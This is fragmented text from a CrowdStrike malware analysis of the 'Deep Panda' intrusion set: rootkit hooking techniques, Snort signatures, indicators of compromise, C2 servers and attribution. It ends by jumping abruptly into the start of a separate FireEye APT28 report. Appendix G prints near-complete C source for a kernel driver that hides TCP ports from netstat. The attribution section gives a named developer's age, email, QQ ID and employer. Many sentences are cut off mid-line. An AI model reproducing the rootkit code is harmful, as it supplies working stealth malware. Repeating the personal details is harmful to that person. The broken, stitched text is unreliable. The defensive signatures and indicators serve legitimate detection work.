The TCP hook works almost identically to the NSI hook, though instead hooking IOCTL 0x120003 (IOCTL_
any connections listening on TCP ports in the range between 40000 and 45000.
System Call Hooking
DWORD at each of these exported functions.
Because the system call stub uses the EAX register as an
index for the system call ID, and a “mov eax, imm32” instruction” instruction is used, this second DWORD
will match the system call ID.
It then adds this index to the value of KeServiceDescriptorTable.
Base, which
is the exported kernel variable (on 32-bit Windows only) which directly points to the system call table.
This is
one of the simplest ways to do a system call hook, but will not work on 64-bit Windows as this variable is not
exported in addition to the protection provided by Microsoft PatchGuard.
Windows API IoAllocateMdl(), and associating the MDL to a non-paged buffer using
MmBuildMdlForNonPagedPool().
Once the MDL is associated to the non-paged buffer, the sample locks the
underlying pages using the Windows API MmProbeAndLockPages().
Instead of hooking the entry in the
table directly, which is easily detectable, the driver uses the LDASM open-source disassembly engine to
analyze the function that is being pointed to by the table, and applying a Detours-style hook directly in the
code.
It uses the standard “mov cr0, eax” technique, turning off the Write Protect (WP) bit as it does this.
When the hook is installed, it writes a special DWORD value, ‘KDTR’, which allows it to prevent
double-hooking or badly-hooking the system call, during unhooking, this value is also checked.
Registry Hooks
\\REGISTRY\\MACHINE\\SYSTEM is blocked.
RegSaveKey() which is
backup of a particular registry key.
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\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Services\\.
It then checks for the values of the
“ServiceDll” and “Security” keys, in the latter case it applies an XOR on the data with the value 127.
The
user-mode component of this malware is a service called “msupdate”, this driver is attempting to hide the
key, due to the fact that these APIs provide almost identical functionality when it comes to reading registry
values.
In the registry hooking code of the driver, a call is made to ObReferenceObjectByHandle().
This allows the
driver to receive the ‘CM_KEY_OBJECT’ which is then used with ObQueryNameString() to get the key/value
path.
However, no call to ObDereferenceObject() is ever made, which means that all registry objects being
sent to these APIs are eventually leaked.
In the registry hook, it was noticed that “CurrentControlSet001” was used as the target, if the target machine
function as intended.
This is the reason the Microsoft implemented a symbolic link to \\CurrentControlSet
CROWDSTRIKE                                                                         S E N S I T I VE            17
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MITIGATION / REMEDIATION
Network Signatures
The following network signatures are designed for the popular Open Source IDS called Snort.
These signature can be ported to other formats upon request.
Malware #1
alert tcp any any <> any any (msg: “BackDoor Beacon Attempt”; content:”|78 7c
71 4c 4a 49 49 49 4A 4C 46|”; classtype:backdoor; sid:123456; rev:27122011;)
alert tcp any any <> any any (msg: “BackDoor Beacon Attempt”; content:”Goo-
gle”; http_uri; classtype:backdoor; sid:123457; rev:27122011;)
alert ip 1.9.5.38 any <> any any (msg: “Malicious Host Detected”; class-
type:backdoor; sid:123460; rev:27122011;)
Malware #2
alert tcp any any <> any any (msg:”BackDoor Beacon Attempt”; content:”|03 01
74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00
0000 00 00|”; classtype:backdoor; sid:123458; rev:27122011;)
alert ip 202.86.190.3 any <> any any (msg:”Malicious Host Detected”; class-
type:backdoor; sid:123459; rev:27122011;)
Malware #3
alert tcp any any <> any any (msg: “BackDoor C2”; content: “POST /forum/
login.cgi HTTP/1.1”; content:”User-Agent: Mozilla/4.0”; classtype:backdoor;
sid:123461; rev:27122011;)
alert tcp any any <> any any (msg: “BackDoor C2”; content: “GET /Photos/Query.
cgi?loginid=”; classtype:backdoor; sid:123462; rev:27122011;)
alert tcp any any <> any any (msg: “BackDoor C2”; content: “POST /Catelog/
login1.cgi HTTP/1.1”; content:”User-Agent: Mozilla/4.0”; classtype:backdoor;
sid:123461; rev:27122011;)
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File System Artifacts
Dropper/DLL
C:\Documents and Settings\All Users\Documents\infoadmn.dll (TS: 2007-03-07 00:00:00)
C:\Documents and Settings\All Users\Documents\infoctrs.dll (TS: 2007-03-07 00:00:00)
C:\Documents and Settings\All Users\Documents\infocardapi.dll (TS: 2007-03-07 00:00:00)
MD5: 47619fca20895abc83807321cbb80a3d
Post Explotiation Tool
MD5: 2dce7fc3f52a692d8a84a0c182519133
Backdoor
MD5: de7500fc1065a081180841f32f06a537
Kernel Driver:
MD5: dae6b9b3b8e39b08b10a51a6457444d8
“%sysdir%\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys”
Registry Artifacts
The following Windows Registry artifacts are indicative of a compromised host:
Dropper/DLL
HKLM\\SYSTEM\\CurrentControlSet\\Services\\msupdate
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost which will have
the ‘msupdate’ key set to ‘msupdate’
Backdoor
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Msres<3 character rand>.ttf
Other Artifacts
Dropper/DLL
Username: _DomainUser_ Password:”Dom4!nUserP4ss”
Backdoor
The backdoor may be detected by several different Anti-Virus products under a signature with the name:
Derusbi
Kernel Driver
Object: {8CB2ff21-0166-4cf1-BD8F-E190BC7902DC}
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ATTRIBUTION
Attribution in the cyber domain is always a tricky subject when relying solely on malicious samples.
Compiler artifacts and language settings can of course be deliberately masked or spoofed.
CrowdStrike
uses a unique approach of comprehensive threat analysis in order to decipher attributable components.
Based on the corroborating evidence discovered in the course of this analysis, it appears there are
numerous indications that this is a Chinese-speaking actor.
, a Chinese security product available from
http://www.360.cn/.
This is particularly relevant in this case because the backdoor DLL sample with an MD5
this tool.
Speculatively this may be because this security product detects this rootkit, or the author was
attempting to prevent accidental infection on systems running this Anti-Virus product.
The obfuscation of the KdDisableDebugger() function call is seen on several Chinese language forums,
and can be seen being reused in several code samples on those forums.
As previously mentioned there is
no advantage associated with using this call obfuscation, and appears to be reused for no apparent reason
other than the attackers have copied code directly from forum code.
While the various network hooking techniques used in the kernel driver may appear novel or well
‘rootkit.com’ by a Chinese language developer.
This post is currently mirrored on dozens of Chinese hacking
websites.
Similarly the system call hooking is less impressive after searching for “IoAllocateMdl” and “cr0” (bbs.pediy.
com/showthread.php?t=77467
perform system call hooking through MDLs.
The ldasm inline hooking is also repeated in numerous postings
to Chinese forums.
One particular website (http://read.pudn.com/downloads197/sourcecode/windows/sys-
tem/927802/CCRootkit/RootkitSys/HookSSDT.c__.htm) had an almost identical ldasm loop that tried to
identify the exact same code sequences.
Open source research of the 4 innocuous kernel APIs
Chinese website that has a cached rootkit performing similar hooks on the same 3 registry related APIs.
While the driver does not use pool tags for most of its allocations, it does utilize them in the networking
hooking code, much like the examples found on the Chinese language forums.
This sample uses pool tags:
‘tnet,’ and ‘KDTR’.
Although the meaning of the KDTR tag is not
1 http://bbs.pediy.com/showthread.php?t=125358
http://kost0911.pixnet.net/blog/post/36914183-anti-anti-windbg
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coincides with the matching functionality of the detour-style inline hook.
The driver code (MD5: dae6b9b3b8e39b08b10a51a6457444d8) appears to be a combination of various
code that is easily searchable on the Internet, and almost always attributed to Chinese language forums
and websites.
The system call hooking parts of the code appear to be identical to the HookSSDT.c code
authored by Steven Lai ‘embedlinux’ and utilized in what the author titled ‘CC Rootkit’ on on August 4, 2008
who’s email address is hqulyc@126.com.
This user has a QQ identity of: 5054-3533, QQ is a popular
(http://user.qzone.qq.com/50543533) appears to be Steven Lai.
He was is 28 years old (born September 5,
at Xiamen XOCECO New Technic Co., Ltd. (http://www.likego.com/en/about.asp), a company that builds
however was used by whomever built the kernel driver utilized by the backdoor and for this reason we are
providing the background on this individual.
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ATTRIBUTION
For more information about Intelligence-as-a-Service or
specific attribution information on Deep Panda, contact
the CrowdStrike Global Intelligence Team
CROWDSTRIKE                                                       S E N S I T I VE   22
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ATTRIBUTION
For more information about Intelligence-as-a-Service or
specific attribution information on Deep Panda, contact
the CrowdStrike Global Intelligence Team
CROWDSTRIKE                                                             S E N S I T I VE   23
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ATTRIBUTION
For more information about Intelligence-as-a-Service or
specific attribution information on Deep Panda, contact
the CrowdStrike Global Intelligence Team
(http://read.pudn.com/downloads197/sourcecode/windows/system/927802/CCRootkit/RootkitSys/HookSS-
DT.c__.htm).
According to this Linux driver development guide ‘embedlinux’ published on July 31, 2008 (http://wenku.
baidu.com/view/e24205294b73f242336c5f45.html), t
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CONCLUSION
The samples involved in this incident are typical of attacks commonly associated with the People’s
Republic of China (PRC).
These code samples have a variety of Tools, Techniques, and Procedures (TTPs)
The ability to conduct Incident Response (IR) including forensics, and log analysis, greatly augments this
visibility into these aspects of the incident.
Some indications as to the adversaries’ capabilities can be
derived from the captured samples alone.
Dropper/Implant #1
The dropper code (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) does not utilize any techniques that are
unique or unusual, and is consistent with tools, techniques, and procedures of attacks targeting proprietary
information and generally attributed to the PRC.
The presence of dead code and its replacement by a more
side.
The ‘dead code’ utilizes a more sophisticated compression algorithm provided by a third party which
was rendered useless for some reason.
This may have been a result of the attacker modifying an existing
tool, or unknowingly using a re-purposed tool.
The dropper resources indicate the compiler used to build the
tool was running on a system that utilized the Chinese “Simple” language pack and was built on Wednesday
May 4th, 2011 at 11:04:24 A.M. UTC (early evening time in China).
While this can be deliberately spoofed
speaking actor.
The dropped DLL (MD5: 47619fca20895abc83807321cbb80a3d) itself contains functionality that is typical
-
encryption/obfuscation using a statically compiled XOR key.
The sample uses TCP port 443 for commu-
nication, but makes no attempt to mimic the SSL protocol typically used on that port number, which would
provide enhanced Operational Security (OPSEC).
This code appears to have been compiled on Wednes-
day May 4th, 2011 at 10:48:19 A.M. UTC (early evening time in China).
Post Exploitation Tool
The post exploitation tool (MD5: 2dce7fc3f52a692d8a84a0c182519133) is a dual-use tool, it can be
dropped and executed by a client-side exploit, or the adversary can launch it using a variety of command
line options.
This tool is built in Microsoft .NET framework, which is typically an indication of a less sophis-
ticated attacker, because .NET is easier to develop in but requires the .NET framework be present on the
victim machine.
The tool appears to have been compiled on Thursday May 26th, 2011 at 10:21:44 A.M.
UTC (early evening time in China).
The sample utilizes the AES cryptographic algorithm to protect its C2
communications.
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Implant #2
Backdoor DLL
This DLL is a moderately sophisticated backdoor with several well designed communication mechanisms
not typically seen in these types of implants.
The code base for the sample was developed in C++.
The
code appears to have been compiled on Sunday October 30, 2011 at 12:43:33 P.M. UTC (late evening time
in China).
This sample has multiple communication capabilities available that makes it far more versatile
and stealthy.
It implements relatively well thought out protocols including HTTP and DNS.
The tool has the
ability to automatically down select the most effective communication channel once it has been instantiated,
which can help avoid detection from solutions like DNS blacklisting and RFC protocol enforcement.
The
DLL itself contains traces of the original C++ class names that were utilized in the source code, which in
communicating to the C2, thus enhancing OPSEC.
The sample contains ‘dead code’ which appears to be
command and control server classes, this is likely an indicator that the C2 client which would communicate
with this sample shares the same communications library which was compiled into this sample.
System Driver
The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the
CCRootkit package publicly by Steven Lai (a/k/a embedlinux).
This kernel mode rootkit implements several
hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL.
The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the
source code Steven Lai posted.
This driver attempts to hide a wide swath of TCP ports (40000-45000) for
an unknown reason, however it is suspected that this may relate to the potential network relaying capability
alluded to for the backdoor dll.
System Driver
The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the
CCRootkit package publicly by Steven Lai (a/k/a embedlinux).
This kernel mode rootkit implements several
hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL.
The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the
source code Steven Lai posted.
This driver attempts to hide a wide swath of TCP ports (40000-45000) for
an unknown reason, however it is suspected that this may relate to the potential network relaying capability
alluded to for the backdoor dll.
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APPENDIX
Appendix A: Command Line Options for Post Exploitation Tool Sample (MD5:
2dce7fc3f52a692d8a84a0c182519133
iu - impersonate user, iu represents a username and expects the following additional arguments.
id -domain
ip -password
f - perform command based on value.
Possible values listed below
sh - Connect to C2.
x - hostname, connect to http address to download
y - port
u - username
w - password
l - set up listener
s - hostname
p - port
v - display communication protocol version
dl
url - url to download from.
ul
url - url to upload to.
cl
as to hide the tampering.
p - target path
m
tu
date of 11-30-2005:12:00:00 with the UTC offset of the system applied.
p - target path
m
r
d
t
wmi - perform Windows Management Instrumentation (WMI) command
s - machine
u - username
p - password
m - can be one of the following 3 items
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Appendix B: Algorithm for computing machine ID
char ch = ‘L’;
foreach(char ch2 in Environment.
MachineName)
{
ch = (char)(ch ^ ch2);
}
byte num3 = (byte)ch;
return (GetVolumeSerial() ^ (uint)(((num3 + (num3 * 0x100)) + (num3 *
0x10000)) +
(num3 * 0x1000000)));
Appendix C: Remote Commands Supported by .NET Backdoor Post Exploita-
tion Tool Sample
public class RcDataCommand
{
public byte channelHint;
public RcDataCommandId cmdID;
public RcDataCommandType cmdType;
public string extraInfo;
public string string_0;
}
Implemented values for cmdID are as follows:
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cmdType can be one of the following (Interesting commands explained in detail):
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string_0 can have one of the following values dependant upon command id and type.
Appendix D: Raw bytes of example Authentication packet.
03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 00
00 00 00
Appendix E: Initialization of KEY and IV for AES
for (int i = 0; i < 0x20; ++i )
{       for (int i = 0; i < 0x20; ++i )
{
buffer[i] = (byte)((i + 8) + ((byte)password[num++]));
buffer[i] = (byte)(buffer[i] ^ 170);
num = num % password.
Length;
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Appendix F: Command & Control Servers
C2 Server   Port   Geolocation   Whois                Samples Used In
1.9.5.38    443    Bukit         inetnum:       1.9.0.0 - 47619fca20895abc83807321cbb80a3d
1.9.255.255
Mertajam,     netname:
Maylasia      TMNET-AS-AP
descr:        Tmnet,
Telekom Malaysia
Bhd.
descr:        Telekom
Malaysia Berhad
descr:        44th
Floor, Global Data
Marketing, TM Global
descr:        Jalan
Pantai Baharu
country:       MY
admin-c:       TA35-
AP
tech-c:     TA35-AP
mnt-by:       AP-
NIC-HM
mnt-lower:      TM-
NET-AP
mnt-routes: TM-
NET-AP
status:      ALLO-
CATED PORTABLE
remarks:       -+-+-+-
+-+-+-+-+-+-+-+-++-+-
+-+-+-+-+-+-+-+-+-+-
+-+-+
remarks:       This
object can only be
updated by APNIC
hostmasters.
remarks:       To
update this object,
please contact APNIC
remarks:       host-
masters and include
your organisation’s
account
remarks:       name in
the subject line.
remarks:       -+-+-+-
+-+-+-+-+-+-+-+-++-+-
+-+-+-+-+-+-+-+-+-+-
+-+-+
changed:        hm-
changed@apnic.net
20100610
source:    APNIC
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C2 Server      Port   Geolocation   Whois              Samples Used In
202.86.190.3   80     Hong Kong     inetnum:            2dce7fc3f52a692d8a84a0c182519133
202.86.190.0 -
202.86.191.255      de7500fc1065a081180841f32f06a537
netname:      Tele-
One-HK
country:    HK
descr:     Te-
leOne(HK) Limited
admin-c:     HL13
tech-c:    AC612-AP
status:    AS-
SIGNED NON-POR-
TABLE
changed:      an-
gus@edu.ctm.net
20041122
mnt-by:     MAINT-
CTM-MO
source:     APNIC
Appendix G: Edward Sun’s kernel network hook code
: [   ]NSI Module Hook : Hiding Port Under Windows Vista [                 ]
: eviloctal       : 2007-7-8 20:53         : [    ]NSI Module
Hook : Hiding Port Under Windows Vista
http://rootkit.com/newsread_print.php?newsid=735
(www.eviloctal.com)
cardmagic writes: Windows Vista has changed alot on network module, many old
port hiding materials are no longer usable.
In this post, I will share with you a simple code to hide port under Vista,hope
it is useful for some guys .
Actually under Windows Vista, netstat.exe will call InternalGetTcpTable2 which
is exported by Iphlpapi.dll to list all open ports,then InternalGetTcpTable2
will transfer control to NsiAllocateAndGetTable which is exported by nsi.dll,
kernel mode module of NSI -- nsiproxy.sys.
nsiproxy.sys is almost like a
wrapper of netio.sys, it will then call internal subroutines of netio.sys .
Here ,we will use a relatively easy way -- “NSI Kernel Module Dispatch Routine
is an old topic, this time ,we will apply this method to nsiproxy.sys.
Please
Check the following code(Notice: I only tested it under Windows Vista RTM
32bit):
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:
///////////////////////////////////////////////////////////////////////////////
////////
// Filename: PortHidDemo_Vista.c
//
// Author: CardMagic(Edward)
// Email: [email]sunmy1@sina.com[/email]
//
// Description:
//      A Demostration Of Hiding
//   Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 com-
patible
//
//
#include “stdlib.h”
#include “ntifs.h”
unsigned short htons(unsigned short hostshort);
unsigned long inet_addr(const char *name);
typedef unsigned long DWORD;
PDRIVER_DISPATCH orgNsiDeviceIoControl = 0;
DWORD gLocalPort=0,gLocalIp=0;
typedef struct _HP_CONTEXT
{
PIO_COMPLETION_ROUTINE oldIocomplete;
PVOID oldCtx;
BOOLEAN bShouldInvolve;
PKPROCESS pcb;
}HP_CONTEXT,*PHP_CONTEXT;
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}INTERNAL_TCP_TABLE_SUBENTRY,*PINTERNAL_TCP_TABLE_SUBENTRY;
typedef struct _INTERNAL_TCP_TABLE_ENTRY
{
INTERNAL_TCP_TABLE_SUBENTRY localEntry;
INTERNAL_TCP_TABLE_SUBENTRY remoteEntry;
}INTERNAL_TCP_TABLE_ENTRY,*PINTERNAL_TCP_TABLE_ENTRY;
typedef struct _NSI_STATUS_ENTRY
{
}NSI_STATUS_ENTRY,*PNSI_STATUS_ENTRY;
typedef struct _NSI_PARAM
{
//
// Total 3CH size
//
DWORD UnknownParam1;
DWORD UnknownParam2;
DWORD UnknownParam3;
DWORD UnknownParam4;
DWORD UnknownParam5;
DWORD UnknownParam6;
PVOID lpMem;
DWORD UnknownParam8;
DWORD UnknownParam9;
DWORD UnknownParam10;
PNSI_STATUS_ENTRY lpStatus;
DWORD UnknownParam12;
DWORD UnknownParam13;
DWORD UnknownParam14;
DWORD TcpConnCount;
}NSI_PARAM,*PNSI_PARAM;
unsigned short htons(unsigned short a)
{
unsigned short b = a;
b = ( b << 8 );
a = ( a >> 8 );
return ( a | b );
};
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unsigned long inet_addrt(const char* name)
{
int len = strlen(name);
unsigned long temp_val[4];
char namesec[10] ;
{
memset(namesec,0,10);
if(&#39;.&#39; == name[i])
{
if(p)
strncpy(namesec,name+p+1,i-p);
else
strncpy(namesec,name,i);
p = i;
}
}
strncpy(namesec,name+p+1,i-p);
return (temp_val[0]|(temp_val[1]<<8)|(temp_val[2]<<16)|(temp_val[3]<<24));
}
NTSTATUS
HPCompletion(
IN PIRP Irp,
IN PVOID Context
)
{
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp);
PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp);
PHP_CONTEXT pCtx = Context;
PNSI_PARAM nsiParam;
int i;
if(NT_SUCCESS(Irp->IoStatus.
Status))
{
CROWDSTRIKE                                                  S E N S I T I VE   35
DEEP PANDA
nsiParam = Irp->UserBuffer;
if(MmIsAddressValid(nsiParam->lpMem))
{
//
// netstat will involve internal calls which will use
// nsiParam structure
//
if( (nsiParam->UnknownParam8 == 0x38))
{
KAPC_STATE apcstate;
PNSI_STATUS_ENTRY pStatusEntry = (PNSI_STATUS_ENTRY)nsiParam->lpStatus;
PINTERNAL_TCP_TABLE_ENTRY pTcpEntry = (PINTERNAL_TCP_TABLE_ENTRY)nsi-
Param->lpMem;
int nItemCnt = nsiParam->TcpConnCount;
KeStackAttachProcess(pCtx->pcb,&apcstate);
//
//make sure we are in the context of original process
//
for(i = 0;i < nItemCnt;i ++)
{
if((pTcpEntry[i].localEntry.dwIP == gLocalIp)&&(pTcpEntry[i].localEn-
try.
Port == gLocalPort))
{
//
//NSI will map status array entry to tcp table array entry
//we must modify both synchronously
//
RtlCopyMemory(&pTcpEntry[i],&pTcpEntry[i+1],sizeof(INTERNAL_TCP_TA-
BLE_ENTRY)*(nItemCnt-i));
RtlCopyMemory(&pStatusEntry[i],&pStatusEntry[i+1],sizeof(NSI_STA-
TUS_ENTRY)*(nItemCnt-i));
nItemCnt--;
nsiParam->TcpConnCount --;
i--;
}
}
KeUnstackDetachProcess(&apcstate);
}
}
}
CROWDSTRIKE                                                 S E N S I T I VE   36
DEEP PANDA
irpspNext->Context = pCtx->oldCtx;
irpspNext->CompletionRoutine = pCtx->oldIocomplete;
//
//free the fake context
//
ExFreePool(Context);
if(pCtx->bShouldInvolve)
else
{
if (Irp->PendingReturned) {
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}
}
NTSTATUS
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
);
{
LARGE_INTEGER waittime;
waittime.
QuadPart = -50*1000*1000;
-
gNsiDeviceIoControl);
//
//delay loading driver to make it more secure
//
CROWDSTRIKE                                            S E N S I T I VE       37
DEEP PANDA
KeDelayExecutionThread(KernelMode,0,&waittime);
return STATUS_SUCCESS;
}
NTSTATUS HPDummyDeviceIoControl(
IN PIRP Irp
)
{
ULONG     ioControlCode;
PIO_STACK_LOCATION irpStack;
ULONG     status;
irpStack = IoGetCurrentIrpStackLocation(Irp);
ioControlCode = irpStack->Parameters.
DeviceIoControl.
IoControlCode;
if(IOCTL_NSI_GETALLPARAM == ioControlCode)
{
if(irpStack->Parameters.
DeviceIoControl.
InputBufferLength == sizeof(NSI_
PARAM))
{
//
//only care the related I/O
//
PHP_CONTEXT ctx = (HP_CONTEXT*)ExAllocatePool(NonPagedPool,sizeof(HP_CON-
TEXT));
ctx->oldIocomplete = irpStack->CompletionRoutine;
ctx->oldCtx = irpStack->Context;
irpStack->CompletionRoutine = HPCompletion;
irpStack->Context = ctx;
ctx->pcb = IoGetCurrentProcess();
if((irpStack->Control&SL_INVOKE_ON_SUCCESS) ==SL_INVOKE_ON_SUCCESS)
ctx->bShouldInvolve = TRUE;
else
ctx->bShouldInvolve = FALSE;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
}
}
CROWDSTRIKE                                                      S E N S I T I VE   38
DEEP PANDA
//
//call original I/O control routine
//
return status;
}
NTSTATUS DriverEntry(
IN PUNICODE_STRING RegistryPath
)
{
int i;
NTSTATUS status;
UNICODE_STRING uniNsiDrvName;
#if DBG
_asm int 3 //debug
#endif
RtlInitUnicodeString(&uniNsiDrvName,L”\\Driver\\nsiproxy”);
-
if(!NT_SUCCESS(status))
{
return STATUS_SUCCESS;
}
//
//store the original dispatch function of NSI driver
//
gLocalIp = inet_addrt(LOCALHIDEIP);
gLocalPort = htons(LOCALHIDEPORT);
CROWDSTRIKE                                                  S E N S I T I VE   39
DEEP PANDA
//
//hook NSI dispatch routine
//
-
myDeviceIoControl);
return STATUS_SUCCESS;
}
CROWDSTRIKE                      S E N S I T I VE   40
DEEP PANDA
Appendix H: Command and Control MD5 Correlation
MD5                                Command and Control Server
47619fca20895abc83807321cbb80a3d   1.9.5.38:443
2dce7fc3f52a692d8a84a0c182519133   202.86.190.3:80
de7500fc1065a081180841f32f06a537   202.86.190.3:80
CROWDSTRIKE                                                 S E N S I T I VE   41
SPECIAL REPORT
APT28:
A WINDOW INTO RUSSIA’S CYBER
ESPIONAGE OPERATIONS?
SECURITY
REIMAGINED
APT 28: A Window into Russia’s Cyber Espionage Operations?
CONTENTS
EXECUTIVE SUMMARY.................................................................................................................................................................................................................................................................................... 3
APT28 TARGETING REFLECTS RUSSIAN INTERESTS......................................................................................................................................................................... 6
APT28 interest in the Caucasus, Particularly Georgia............................................................................................................................................................ 7
APT28 Targeting of the Georgian Ministry of Internal Affairs (MIA)........................................................................................ 8
APT28 Targeting of the Georgian Ministry of Defense........................................................................................................................................ 9
APT28 Targeting a Journalist Covering the Caucasus....................................................................................................................................... 10
APT28’s Other Targets in the Caucasus........................................................................................................................................................................................ 11
APT28 Targeting of Eastern European Governments and Militaries.................................................................................................... 12
APT28 Targeting of NATO and Other European Security Organizations..................................................................................... 14
APT28 Targets European Defense Exhibitions................................................................................................................................................................ 16
Other APT28 Targets Are Consistent With Nation State Interests......................................................................................................... 17
APT28 MALWARE INDICATES SKILLED RUSSIAN DEVELOPERS......................................................................................................................... 19
Modular Implants Indicate a Formal Development Environment............................................................................................................... 24
APT28 Malware Indicates Russian Speakers in a Russian Time Zone................................................................................................. 25
Compile Times Align with Working Hours in Moscow and St. Petersburg................................................................ 27
CONCLUSION.................................................................................................................................................................................................................................................................................................................. 28
APPENDIX A: DISTINGUISHING THREAT GROUPS.......................................................................................................................................................................... 29
APPENDIX B: TIMELINE OF APT28 LURES.......................................................................................................................................................................................................... 30
APPENDIX C: SOURFACE/CORESHELL...................................................................................................................................................................................................................... 31
APPENDIX D: CHOPSTICK.................................................................................................................................................................................................................................................................... 35
APPENDIX E: OLDBAIT................................................................................................................................................................................................................................................................................. 43
2 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
EXECUTIVE SUMMARY
Our clients often ask us to assess the threat Russia poses in cyberspace.
Russia has
long been a whispered frontrunner among capable nations for performing
sophisticated network operations.
This perception is due in part to the Russian
government’s alleged involvement in the cyber attacks accompanying its invasion of
Georgia in 2008, as well as the rampant speculation that Moscow was behind a
major U.S. Department of Defense network compromise, also in 2008.
These
rumored activities, combined with a dearth of hard evidence, have made Russia into
something of a phantom in cyberspace.
In this paper we discuss a threat group whose                                     the country of Georgia, Eastern European
malware is already fairly well-known in the                                       governments and militaries, and European
cybersecurity community.
This group, unlike the                                   security organizations since at least 2007.
China-based threat actors we track, does not                                      They compile malware samples with Russian
appear to conduct widespread intellectual                                         language settings during working hours
property theft for economic gain.
Nor have we                                     consistent with the time zone of Russia’s major
observed the group steal and profit from                                          cities, including Moscow and St. Petersburg.
financial account information.
While we don’t have pictures of a building,
The activity that we profile in this paper                                        personas to reveal, or a government agency to
appears to be the work of a skilled team of                                       name, what we do have is evidence of long-
developers and operators collecting intelligence                                  standing, focused operations that indicate a
on defense and geopolitical issues – intelligence                                 government sponsor – specifically, a
that would only be useful to a government.
We                                     government based in Moscow.
believe that this is an advanced persistent
threat (APT) group engaged in espionage                                           We are tracking this group as APT28.
against political and military targets including
1
Markoff, John.
“Before the Gunfire, Cyberattacks”.
The New York Times 12 August 2008.
Web.
http://www.nytimes.com/2008/08/13/technology/13cyber.html
2
Knowlton, Brian.
“Military Computer Attack Confirmed”.
The New York Times.
25 August 2010.
Web.
http://www.nytimes.com/2010/08/26/
technology/26cyber.html
3 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
KEY FINDINGS
APT28 targets insider information
related to governments, militaries, and
security organizations that would
likely benefit the Russian government.
GEORGIA                                         EASTERN EUROPE                           SECURITY ORGANIZATIONS
APT28 likely seeks to collect intelligence      APT28 has demonstrated interest in       APT28 appeared to target individuals
about Georgia’s security and political          Eastern European governments and         affiliated with European security
dynamics by targeting officials working         security organizations.
These victims    organizations and global multilateral
for the Ministry of Internal Affairs and        would provide the Russian government     institutions.
The Russian government
the Ministry of Defense.
with an ability to predict policymaker   has long cited European security
intentions and gauge its ability to      organizations like NATO and the OSCE
influence public opinion.
as existential threats, particularly during
periods of increased tension in Europe.
4 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Malware compile times suggest
that APT28 developers have
consistently updated their tools
over the last seven years.
KEY FINDINGS
Since 2007, APT28 has systematically evolved its malware,
using flexible and lasting platforms indicative of plans for
long-term use.
The coding practices evident in the group’s
malware suggest both a high level of skill and an interest in
complicating reverse engineering efforts.
•	   Malware compile times suggest that APT28 developers               •	   APT28 tailors implants for specific victim
have consistently updated their tools over the last                    environments.
They steal data by configuring their
seven years.
implants to send data out of the network using a victim
•	   APT28 malware, in particular the family of modular                     network’s mail server.
backdoors that we call CHOPSTICK, indicates                       •	   Several of APT28’s malware samples contain counter-
a formal code development environment.
Such an                         analysis capabilities including runtime checks to
environment would almost certainly be required to                      identify an analysis environment, obfuscated strings
track and define the various modules that can be                       unpacked at runtime, and the inclusion of unused
included in the backdoor at compile time.
machine instructions to slow analysis.
Indicators in APT28’s malware suggest that the group consists of
Russian speakers operating during business hours in Russia’s major cities.
More than half of the malware samples with Portable                  Over 96% of the malware samples we have attributed to APT28
Executable (PE) resources that we have attributed to APT28           were compiled between Monday and Friday.
More than 89%
included Russian language settings (as opposed to neutral or         were compiled between 8AM and 6PM in the UTC+4 time zone,
English settings), suggesting that a significant portion of          which parallels the working hours in Moscow and St.
APT28 malware was compiled in a Russian language build               Petersburg.
These samples had compile dates ranging from
environment consistently over the course of six years (2007          mid-2007 to September 2014.
to 2013).
5 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Three themes in APT28’s targeting clearly
reflect areas of specific interest to an
Eastern European government, most likely
the Russian government.
APT28 TARGETING REFLECTS
RUSSIAN
INTERESTS
M
any of APT28’s targets align generally                            whose accounts APT28 hopes to breach, the                 APT 28: Three Themes
with interests that are typical of any                            subjects of the lures provide clues as to APT28’s
government.
However, three themes in                              targets and interests.
For example, if the group’s
APT28’s targeting clearly reflects areas of specific                          lures repeatedly refer to the Caucasus, then this
interest to an Eastern European government, most                              most likely indicates that APT28 is trying to gain        The Caucasus,
likely the Russian government.
These include the                              access to the accounts of individuals whose work          particularly the
country of Georgia
Caucasus (especially the Georgian government),                                pertains to the Caucasus.
Similarly, APT28’s practice
Eastern European governments and militaries, and                              of registering domains that mimic those of legitimate
specific security organizations.
news, politics, or other websites indicates topics that
are relevant to APT28’s targets.
APT28 uses spearphishing emails to target its                                                                                           Eastern European
victims, a common tactic in which the threat group                            We identified three themes in APT28’s lures and           governments and
crafts its emails to mention specific topics (lures)                          registered domains, which together are                    militaries
relevant to recipients.
This increases the                                    particularly relevant to the Russian government.
likelihood that recipients will believe that the
email is legitimate and will be interested in                                 In addition to these themes, we have seen APT28
opening the message, opening any attached files,                              target a range of political and military                  The North Atlantic
or clicking on a link in the body of the email.
Since                         organizations.
We assess that the work of these           Treaty Organization
(NATO) and other
spearphishing lures are tailored to the recipients                            organizations serves nation state governments.
European security
organizations
7
Bloomberg.
“Neiman Marcus Hackers Set Off 60,000 Alerts While Bagging Credit Card Data.” February 2014.
8
Ibid.
9
Ibid.
